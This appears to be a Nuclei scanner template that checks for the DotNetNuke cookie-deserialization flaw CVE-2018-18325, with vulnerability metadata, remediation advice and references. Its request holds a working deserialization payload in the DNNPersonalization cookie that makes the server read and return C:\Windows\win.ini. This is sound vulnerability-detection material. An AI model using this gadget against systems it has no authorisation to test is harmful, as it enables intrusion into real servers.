DotNetNuke 9.2 - 9.2.2 - Weak Encryption & Cookie Deserialization

id: CVE-2018-18325

info:
  name: DotNetNuke 9.2 - 9.2.2 - Weak Encryption & Cookie Deserialization
  author: pdteam
  severity: high
  description: |
    DNN (DotNetNuke) versions 9.2 through 9.2.2 use a weak encryption algorithm to protect input parameters because of an incomplete fix for CVE-2018-15811. This cryptographic weakness enables attackers to craft malicious DNNPersonalization cookies that can be deserialized, leading to remote code execution.
  impact: |
    Attackers can exploit weak encryption to decrypt or tamper with input parameters and execute arbitrary code through cookie deserialization attacks.
  remediation: |
    Update to DotNetNuke version 9.3.0 or later which fully addresses the weak encryption issues.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18325
    - https://nvd.nist.gov/vuln/detail/CVE-2018-15811
    - https://github.com/dnnsoftware/Dnn.Platform/releases
    - http://packetstormsecurity.com/files/157080/DotNetNuke-Cookie-Deserialization-Remote-Code-Execution.html
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-18325
    cwe-id: CWE-326
    epss-score: 0.76118
    epss-percentile: 0.98866
    cpe: cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dnnsoftware
    product: dotnetnuke
    fofa-query: app="dotnetnuke"
    verified: true
  tags: cve,cve2018,dotnetnuke,crypto,deserialization,rce,kev,dnnsoftware,vkev

http:
  - raw:
      - |
        GET /__ HTTP/1.1
        Host: {{Hostname}}
        Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
        X-Requested-With: XMLHttpRequest
        Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '[extensions]'
          - 'for 16-bit app support'
        condition: and

      - type: status
        status:
          - 404
# digest: 4a0a0047304502200ba0225d0487b65301b7d6a1bda4fdd2f9492a9efb40d6f0c18c05f930d6c12d022100abe2af041751f1bffba13b1550c69e0924b369ad494bdbf6892bd88fc888fc3a:922c64590222798bb761d5b6d8e72950